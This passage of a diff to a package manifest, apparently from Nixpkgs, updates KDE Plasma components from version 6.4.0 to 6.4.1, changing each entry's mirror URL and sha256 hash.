"mirror://kde/stable/plasma/6.4.0/breeze-grub-6.4.0.tar.xz", - "hash": "sha256-syzAxAqtGM7tbowlxlTc/ELUbd2Zm8oFBKCSlZhvYwI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/breeze-grub-6.4.1.tar.xz", + "hash": "sha256-c6yyJ5vbMtXpeqeHha4P6vBuQnQTtNvR3LZbu9zacwM=" }, "breeze-gtk": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/breeze-gtk-6.4.0.tar.xz", - "hash": "sha256-WFJjJxTE17d1SBUe9efe2t7TMfbpARGxbdcQ4Bu6j60=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/breeze-gtk-6.4.1.tar.xz", + "hash": "sha256-4Qj+nLx2oPUf2N+cYw05l4o8H7bPrznZqy9VVJRie1g=" }, "breeze-plymouth": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/breeze-plymouth-6.4.0.tar.xz", - "hash": "sha256-S1DBCbItJbH7YT/K5Qq+NbEAuQgyaudqPdgydMoPTPI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/breeze-plymouth-6.4.1.tar.xz", + "hash": "sha256-JSE/12TBsME2nbqFASXjsC2ZkKuQwcZ0PKodCHy3BkU=" }, "discover": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/discover-6.4.0.tar.xz", - "hash": "sha256-CfsdY6puw61W5gb0i24Q1Z7rN9m1J+VKIRtKedblIkI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/discover-6.4.1.tar.xz", + "hash": "sha256-80zqQ4qKCuC7b9E+QWTUnHoqmFfiBDAMzCdvLV+JgjA=" }, "drkonqi": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/drkonqi-6.4.0.tar.xz", - "hash": "sha256-BGqJ475WIGBu2tlF6/L1KHWlytZ0A8Ha86G/5ShoPqI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/drkonqi-6.4.1.tar.xz", + "hash": "sha256-REnekqvM46h7RyeWQffxcmqo0C5vMVSPDzJ3ks6C/UM=" }, "flatpak-kcm": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/flatpak-kcm-6.4.0.tar.xz", - "hash": "sha256-KCw6dSf4sdsTLaB992jXLFK7yj4n8iFvS6ahcx3QTeI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/flatpak-kcm-6.4.1.tar.xz", + "hash": "sha256-27UINtKXUF5efF/LKeIrb/IbUtBE7gf4QriZlMXapd4=" }, "kactivitymanagerd": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kactivitymanagerd-6.4.0.tar.xz", - "hash": "sha256-zVaf4lsNZwHDMOCPw+3lfVf/guluxtNH51dbsy+qurs=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kactivitymanagerd-6.4.1.tar.xz", + "hash": "sha256-tt1cG4TT0ucNt58W7O/iOsr1PEX9XCursu6ZS0ZsrJk=" }, "kde-cli-tools": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kde-cli-tools-6.4.0.tar.xz", - "hash": "sha256-T06+18F6JQecVO8DGSmsVdZ3es089ZXKY0P00KTwC6k=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kde-cli-tools-6.4.1.tar.xz", + "hash": "sha256-LZCrDANPudKBZ1Dams45twi3EtP3NBZj67v+iNWwLKQ=" }, "kde-gtk-config": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kde-gtk-config-6.4.0.tar.xz", - "hash": "sha256-ygZtqEJyKAw/1qGBlw2U854Re+yM7pHXGi4lLCFF788=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kde-gtk-config-6.4.1.tar.xz", + "hash": "sha256-S79X5NeYqJnD8SM1BClZrvz11q81SwSJXk6N3ujIxD4=" }, "kdecoration": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kdecoration-6.4.0.tar.xz", - "hash": "sha256-pMyMS8dB0KQj11DO1m4UG5uY/McUaKshDlTaOCFTtYA=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kdecoration-6.4.1.tar.xz", + "hash": "sha256-obRAHtr3/iFjw+HKtUjZPDExlXuFNPISSe787uSW4SI=" }, "kdeplasma-addons": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kdeplasma-addons-6.4.0.tar.xz", - "hash": "sha256-XwS3FmjLhADglL7Oa7bHRra7k2W8EWk4tm2Kq9hJNVo=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kdeplasma-addons-6.4.1.tar.xz", + "hash": "sha256-iUv51ID9vwo+AFczkVNaQemlfO5yP7rQ+NosFtKZ0vY=" }, "kgamma": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kgamma-6.4.0.tar.xz", - "hash": "sha256-IRQh+vjZAB3JNgkv0fTyEVNIWvQ08AcfVdIovRo5xUg=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kgamma-6.4.1.tar.xz", + "hash": "sha256-zClBxUYyHA9ACHqB4sPY1E6jhFA0wWQXmmOEtU7w+5A=" }, "kglobalacceld": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kglobalacceld-6.4.0.tar.xz", - "hash": "sha256-9+Z6c2e2C9RTBVjvkZgN+ha7UA1VFutonrUAQeELDzI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kglobalacceld-6.4.1.tar.xz", + "hash": "sha256-PuOK9MlVHeZAoYZ9J4NS2BcUaSz3AAwg0Z3CYuBL9DM=" }, "kinfocenter": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kinfocenter-6.4.0.tar.xz", - "hash": "sha256-TS3q9MH/dv8QDtawfXyxWLoRbEwiG3tfeyVEAoUFRJQ=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kinfocenter-6.4.1.tar.xz", + "hash": "sha256-IOr7rnikN/dnuLbpSTh1sjADP5dgRUcy6BBIPIISeSc=" }, "kmenuedit": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kmenuedit-6.4.0.tar.xz", - "hash": "sha256-SuSmetygfhDCR1uaGay9KD0YQKmWu8CE2bGyN8fm74g=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kmenuedit-6.4.1.tar.xz", + "hash": "sha256-VdsXXw897aYVS/sMchrfGD9jwTS3eFjJ+74IWK6cd3M=" }, "kpipewire": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kpipewire-6.4.0.tar.xz", - "hash": "sha256-1ZdmWk7lekmT2QjmIVEkKumlo6JedtC6AD85ymhp41o=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kpipewire-6.4.1.tar.xz", + "hash": "sha256-Npbf0ZtT5e+h57xpDDggkZuLvcDXj5Z3nMOzGekDX+I=" }, "krdp": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/krdp-6.4.0.tar.xz", - "hash": "sha256-78FnobeNIWoopi/TzJmBhQKGK6hB7/F1k+4VchzhRdU=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/krdp-6.4.1.tar.xz", + "hash": "sha256-zoGR8xXF9HBGuZh/Uv/wqI/8P51AmJ7yQj8QuY4sWMI=" }, "kscreen": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kscreen-6.4.0.tar.xz", - "hash": "sha256-5M7giQpTQFMVH6XoU3Ktgukmm5TNPcMytzfDbEcRcn8=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kscreen-6.4.1.tar.xz", + "hash": "sha256-w6KFacTwkt74RWTpFi64p/poGo9GWKFNgkNuohdU3Fs=" }, "kscreenlocker": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kscreenlocker-6.4.0.tar.xz", - "hash": "sha256-uEAgK6a1vXgyqyEWvu4sjjhvqbhE5tsOQlqEAGtmmPo=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kscreenlocker-6.4.1.tar.xz", + "hash": "sha256-yEnck5oFCibycDk/i1nouG1nGYOnUuAUr3yJoclVuSU=" }, "ksshaskpass": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/ksshaskpass-6.4.0.tar.xz", - "hash": "sha256-zjx7qfFmOOteA3iCFEioS5oGGSKL6BluVcOV/U10OAY=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/ksshaskpass-6.4.1.tar.xz", + "hash": "sha256-VJXbLUX5sqxQqBOC9+OMmauD1+o0rc9ysFwmDZ2KNDM=" }, "ksystemstats": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/ksystemstats-6.4.0.tar.xz", - "hash": "sha256-4PiFWk25FQgGa52lEI3bzki7rdpku5ZlOsL7MS/BRo4=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/ksystemstats-6.4.1.tar.xz", + "hash": "sha256-pwp0070kEW9gAQhrlCzJ1p91FPP1t8KgOC1dwoHn8Ko=" }, "kwallet-pam": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kwallet-pam-6.4.0.tar.xz", - "hash": "sha256-RQ5Na4BMWX61EVkADhk2iJJuTYIlrhmhYn4l0R/ri14=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kwallet-pam-6.4.1.tar.xz", + "hash": "sha256-BNTXB1y5PKwQp+BQSDbZYcei7aTwiYe7UA+ScgApi3w=" }, "kwayland": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kwayland-6.4.0.tar.xz", - "hash": "sha256-CmSafVAjcCLJsMDz798qe/vreU43zzdcohkOZLXR2x8=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kwayland-6.4.1.tar.xz", + "hash": "sha256-f48oQSL/2kTF4dZEJ76QWcoj9an78JLiod5tQd5FhiU=" }, "kwayland-integration": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kwayland-integration-6.4.0.tar.xz", - "hash": "sha256-olIYm9HKCRWbtweBb/nVUqWzAJMpyTCg6YN3KEvw8Rw=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kwayland-integration-6.4.1.tar.xz", + "hash": "sha256-IQk2AksNGsr5zZOo94SjSBBhno6zVvaPAgVHU1QK5gs=" }, "kwin": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kwin-6.4.0.tar.xz", - "hash": "sha256-DTSSMXpxmmRb8ok/ysIbspeWBrrzcDYQ5Va1961U3mo=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kwin-6.4.1.tar.xz", + "hash": "sha256-1OQwbJbMLouoYw6sMjT7wIVoWwCrxeWvwsLBxsb8pNQ=" }, "kwin-x11": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kwin-x11-6.4.0.tar.xz", - "hash": "sha256-dtfAGOtu5lcpLIkquc50CYKQ7uB8P9+p18UxSX2OW3c=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kwin-x11-6.4.1.tar.xz", + "hash": "sha256-eYy9ba9fstfr20lOaxLzmp7A4CWicjNiEhOWYUEgfAs=" }, "kwrited": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/kwrited-6.4.0.tar.xz", - "hash": "sha256-ZCxWdKsNlcoKQtbRstrKtf+/wGcZgZUo+iUVPGimRUo=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/kwrited-6.4.1.tar.xz", + "hash": "sha256-qApe1F7WM/Fc86QrLZVmCNnmpaePJn3zOslqr8wg2NQ=" }, "layer-shell-qt": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/layer-shell-qt-6.4.0.tar.xz", - "hash": "sha256-K55BM9Cb6Fji7mEHpWir0xoWC0ZlRatLZjEcaDlcd7A=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/layer-shell-qt-6.4.1.tar.xz", + "hash": "sha256-54HK3sALTDibkUPLOkDfd4iqTU0hHIhH9rm2UXbm6c4=" }, "libkscreen": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/libkscreen-6.4.0.tar.xz", - "hash": "sha256-4kBHbhXFfoWnkQf++9zLBwgoiaSUtXqlx8Tm8gjpEho=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/libkscreen-6.4.1.tar.xz", + "hash": "sha256-dBU8GUDd7sCZuhIMenm7yzn/42NE581cQ2CHdq9bLRQ=" }, "libksysguard": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/libksysguard-6.4.0.tar.xz", - "hash": "sha256-v9C695c0B0RAk+E6XOKzEM7lhuO7xdThB4W8Gg1FpmM=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/libksysguard-6.4.1.tar.xz", + "hash": "sha256-fDOUnb3MzuzjX779JEpESbI7UHHgytCC+RruZPeygeE=" }, "libplasma": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/libplasma-6.4.0.tar.xz", - "hash": "sha256-/4bw2QYlS7yfkQfzg7Gfu1un2yQ/q38tfSeP6DFGNUw=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/libplasma-6.4.1.tar.xz", + "hash": "sha256-O6Tx+KmWix0zlWT5GzOBjoDmEt5+U0WREXJGlj0scXs=" }, "milou": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/milou-6.4.0.tar.xz", - "hash": "sha256-7SWKx4tH2O7oFxOIq8EtxzuvP+gkK8EZpqMUMdfbPzA=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/milou-6.4.1.tar.xz", + "hash": "sha256-IZQ2nUxFpTe3kyK/3T7MUlL7Vd/Y968hA8j3t9ouUIA=" }, "ocean-sound-theme": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/ocean-sound-theme-6.4.0.tar.xz", - "hash": "sha256-r6ZyqRyuqaNPn+aZA7/02M+ZsWOT21LVRvq+K1uOp3M=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/ocean-sound-theme-6.4.1.tar.xz", + "hash": "sha256-o/ddckD0SKRnOT6xTxQxrAsFNf5JKYyf+hdLAFAJl/M=" }, "oxygen": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/oxygen-6.4.0.tar.xz", - "hash": "sha256-p29NbjoPnvZzq3W3sULfUTbYevHwlMz63Svm5s5sLCQ=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/oxygen-6.4.1.tar.xz", + "hash": "sha256-b5siN5HxUR5v7sS2i6YDThJF4D6iHRMf4YxKhJdVRqU=" }, "oxygen-sounds": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/oxygen-sounds-6.4.0.tar.xz", - "hash": "sha256-Wz1d8nOQ7ggmCWSypo1Zl/L1B9F1MRRg+6Gs6kFNyFI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/oxygen-sounds-6.4.1.tar.xz", + "hash": "sha256-pv3YCBYyLq0GRdiJUQpUAh/UvYGEiBTfh1SM8m4HaD8=" }, "plasma-activities": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-activities-6.4.0.tar.xz", - "hash": "sha256-Go8DS7iVx1d5jFvoeiDbVGlvRe7ePXG4uBXPZmz864w=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-activities-6.4.1.tar.xz", + "hash": "sha256-DsBpK13LBfyC0ef3KFq4LaImndt9Axi49KYQONpE2WM=" }, "plasma-activities-stats": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-activities-stats-6.4.0.tar.xz", - "hash": "sha256-kxNliQbYG/KW2emKwZeQuD6Ii6ifESPGKwpy+TjyjuY=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-activities-stats-6.4.1.tar.xz", + "hash": "sha256-rfX0v6dY/0EwmXjvULv1/wpZbq+RNzhtS4cOe8wjMLc=" }, "plasma-browser-integration": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-browser-integration-6.4.0.tar.xz", - "hash": "sha256-FH4LixBeR8o/xpTdLYbsvqp8PDFdi/PaDUtuNagp56Q=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-browser-integration-6.4.1.tar.xz", + "hash": "sha256-eqDYwMci6fdjuu9cFTp/iC9JDbz5lWPQRye3WcXC1jQ=" }, "plasma-desktop": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-desktop-6.4.0.tar.xz", - "hash": "sha256-GOEUAzwYLSY8k39bxBeTJSkx3NrCKwTUnTOgEJuyrrI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-desktop-6.4.1.tar.xz", + "hash": "sha256-tc979WDIpK/1oSGc+kF6h2uYIHGju4AdKv9T2/GKBYQ=" }, "plasma-dialer": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-dialer-6.4.0.tar.xz", - "hash": "sha256-pyPbCGLDWhw48Fn8zs8rUECrOiv/+gHPY7fh+yUh45A=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-dialer-6.4.1.tar.xz", + "hash": "sha256-8bIXU1QRiWxHwQ4cc99Zsp9mQwU8cdfuHWXqLiUr0Q4=" }, "plasma-disks": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-disks-6.4.0.tar.xz", - "hash": "sha256-lMle0b1JREjIHjU2Dci0muBazsExZR7IFxb0pSIY6pA=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-disks-6.4.1.tar.xz", + "hash": "sha256-yY+aDVMimCqQhJfXzAKGeCVIYle44lRi0ZfzNgEcUxQ=" }, "plasma-firewall": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-firewall-6.4.0.tar.xz", - "hash": "sha256-8MCE2Yxff3Kjc1X9vN/nwv8CBe0kAJAUQGqSRNZIRoU=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-firewall-6.4.1.tar.xz", + "hash": "sha256-ctXVNJPuOQGEf+Y8+XamjX9gGwh40spnBOhkoFwPv5w=" }, "plasma-integration": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-integration-6.4.0.tar.xz", - "hash": "sha256-pxhoIFKN72+Ie2Qu+nv7TE4UjRTmXvCreH/DWmLigdA=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-integration-6.4.1.tar.xz", + "hash": "sha256-EoE9sNZoVVBXAammIi5qUTpVV4kDJfEMofy/eH2R7eM=" }, "plasma-mobile": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-mobile-6.4.0.tar.xz", - "hash": "sha256-1m4fkOvV+ZPueDW3+K6suq0VtB5W3wqyq65Ve0Ck2Dg=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-mobile-6.4.1.tar.xz", + "hash": "sha256-+1ivtVRjh7bYN7rGEyNXTgywKBvKob3gH0KKzsWZ8xY=" }, "plasma-nano": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-nano-6.4.0.tar.xz", - "hash": "sha256-gF400TsjLpf5D3pU/DnLx5qU2ZZ83e3t4GAgKD4+n/E=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-nano-6.4.1.tar.xz", + "hash": "sha256-dg9AAdpOMJqWH27gpbl+df+cyzLwQgcLNAz/cHhbMRM=" }, "plasma-nm": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-nm-6.4.0.tar.xz", - "hash": "sha256-JZC7gTpX7UEdNwfrrUuo4tvE7V2DC/I1R/loYpcV1Tc=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-nm-6.4.1.tar.xz", + "hash": "sha256-UdwzjlHWBuEx9OM9T7e7KOrYpJzWikYiUtySClkRHFA=" }, "plasma-pa": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-pa-6.4.0.tar.xz", - "hash": "sha256-exm0FHhwiDWhWASU5VIYA7ybeUdLUO0ev5MYog4e0ag=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-pa-6.4.1.tar.xz", + "hash": "sha256-C3lyY/Ug3n1zgbcFsW1e/Ul2ZMTzdhoty6k8axxKttE=" }, "plasma-sdk": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-sdk-6.4.0.tar.xz", - "hash": "sha256-s/ExaxY7tearhpcDBuZjdgrpOBSkPtQ/Ky92ESisKIU=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-sdk-6.4.1.tar.xz", + "hash": "sha256-c6hlAmveq0XI9ItQrGVvDmJrsEE+dkfAFtkGi8sPVEY=" }, "plasma-systemmonitor": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-systemmonitor-6.4.0.tar.xz", - "hash": "sha256-lDac1svv9f+vNgXudmDqSqoD2VkoKw8g1lmpU64tl1o=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-systemmonitor-6.4.1.tar.xz", + "hash": "sha256-sYENMpuBrDWvynX1/yiHtyTi/HsfnFEBmLh8KcuL3l8=" }, "plasma-thunderbolt": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-thunderbolt-6.4.0.tar.xz", - "hash": "sha256-w92KudTZFGkp87OWftV/ZpXQpW+Q8oGWTRzwTa9uXI4=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-thunderbolt-6.4.1.tar.xz", + "hash": "sha256-FSxKrKBrV5HBGyBdehA+gGHcX/qt/3T0/Q8Zhc/Jzj0=" }, "plasma-vault": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-vault-6.4.0.tar.xz", - "hash": "sha256-zdDtq+GiFchWaMRzSfOsju2VpGG71WTWfsjfIXDq52w=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-vault-6.4.1.tar.xz", + "hash": "sha256-ayOumkp28MaGltQ0awdjtD5STWBceFcNsy/RC4Znp2w=" }, "plasma-welcome": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-welcome-6.4.0.tar.xz", - "hash": "sha256-Lw08NImQOoZYa4Otb7UrwVLhtFnkq+yC/wIrUbjStDY=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-welcome-6.4.1.tar.xz", + "hash": "sha256-BpW/epqDX01kBq2bdjycyWwH14GVlMT1CIfrcnfnToA=" }, "plasma-workspace": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-workspace-6.4.0.tar.xz", - "hash": "sha256-lh71T3/SHyEvjWMzAPG7BSBSSql5TkM64avhasBWCys=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-workspace-6.4.1.tar.xz", + "hash": "sha256-IGe1OeV0Rbs1/DtYmk9feu4xVJkG4iDojYeQ168yruQ=" }, "plasma-workspace-wallpapers": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma-workspace-wallpapers-6.4.0.tar.xz", - "hash": "sha256-zEs1PLI63zJos4sVxvb70lpjd0tJgkaPgORQ9gDTkwI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma-workspace-wallpapers-6.4.1.tar.xz", + "hash": "sha256-ckXn4lj1YoL+IUJZ+ughSV78ArO5GqnWo58r7Z9eYdc=" }, "plasma5support": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plasma5support-6.4.0.tar.xz", - "hash": "sha256-OuNktBqGjQ/ZlHxTs9iHI5OLsIA/H4Yphfkztslz6EM=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plasma5support-6.4.1.tar.xz", + "hash": "sha256-EXo7m806Y96DcZ2U85o0zM9kOnFDXISlxQWwRERrjas=" }, "plymouth-kcm": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/plymouth-kcm-6.4.0.tar.xz", - "hash": "sha256-WW0OK4QQbLkS1Poo38mmLPppMAEPJ7aPw0ph2TQSWVM=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/plymouth-kcm-6.4.1.tar.xz", + "hash": "sha256-KL2d+x5qiAoCsJ3ylJLBbF+7KAU6oqe3wTao4+cGxF0=" }, "polkit-kde-agent-1": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/polkit-kde-agent-1-6.4.0.tar.xz", - "hash": "sha256-qKtd9qseoF5j7wjrvlNuE5PU9tbdSylzBWGfweh1FcU=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/polkit-kde-agent-1-6.4.1.tar.xz", + "hash": "sha256-uxzAN3JTaDNEOdE9x94SxfUXs5g4XxyfUpVxpTkqkwI=" }, "powerdevil": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/powerdevil-6.4.0.tar.xz", - "hash": "sha256-0K1Uy21MzznA1bfwx98vUbyZ/9P9bKdTjtP0HfxPZ34=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/powerdevil-6.4.1.tar.xz", + "hash": "sha256-k+Q4HyU/npYHh/61/LhuoafA4peOOzAJrhkqhq5zRi8=" }, "print-manager": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/print-manager-6.4.0.tar.xz", - "hash": "sha256-KrsouJRLPkxIQTyzG1TgeMn6jR/YwRWmFQcxA52Sy/0=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/print-manager-6.4.1.tar.xz", + "hash": "sha256-kJbF8osp9hmb8Kzph2Nh8zZ7efII4FxKWTOdF9S8GfI=" }, "qqc2-breeze-style": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/qqc2-breeze-style-6.4.0.tar.xz", - "hash": "sha256-S+kIS9VZdE2Awgs4k8K7tE3Bk/2TJPTbjSf2rQl++kw=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/qqc2-breeze-style-6.4.1.tar.xz", + "hash": "sha256-YI/1NtUTVx861Kyv1JYOwLWiq/z/MZMhS6wnonR5a+c=" }, "sddm-kcm": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/sddm-kcm-6.4.0.tar.xz", - "hash": "sha256-N4t+twvSPMm7ZUs2a4X7YVgkdqvECIYRU0vDyJGPa/I=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/sddm-kcm-6.4.1.tar.xz", + "hash": "sha256-otENV7QyyCJ83OGTrbuVAAaaKrHY1kYsahgZknXLnsY=" }, "spacebar": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/spacebar-6.4.0.tar.xz", - "hash": "sha256-LHSJ/AczyJjSTexA0fuOUHFAMcJkFPaCYma9PJnAFYA=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/spacebar-6.4.1.tar.xz", + "hash": "sha256-X/eec6cvsOSdE+PTQwPTRcqzP6T/IkdQWErePFJE/4k=" }, "spectacle": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/spectacle-6.4.0.tar.xz", - "hash": "sha256-cxdWeX6+/p9evbYymwz0zdX2wWmq8WpYwpQF/5emprA=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/spectacle-6.4.1.tar.xz", + "hash": "sha256-VHuMxlFzCRYQSosTE1BIFOyn/mpavOJUwQs3/6GxPjQ=" }, "systemsettings": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/systemsettings-6.4.0.tar.xz", - "hash": "sha256-TDhVGapA6Q3LCxoLBw0zE/2e1fszyWPqVFnOXTFpLz8=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/systemsettings-6.4.1.tar.xz", + "hash": "sha256-on8xKikqxMXD76GvcecMqDTX7I6PN6cQz4WuLXu+/5U=" }, "wacomtablet": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/wacomtablet-6.4.0.tar.xz", - "hash": "sha256-c3FmxmiOSOIdTaNp3C83yG/kjx6rv4ndjPJ4WeGiltk=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/wacomtablet-6.4.1.tar.xz", + "hash": "sha256-9n38GT270K5Rxt8IWb6HpNXtae4oO64HzpG0JF++4NE=" }, "xdg-desktop-portal-kde": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/xdg-desktop-portal-kde-6.4.0.tar.xz", - "hash": "sha256-ANt7FVEUaw2pEHi/VAyir1bJ0g+fJUaeJYOdCUVams4=" + "version": "6.4.1", + "url": 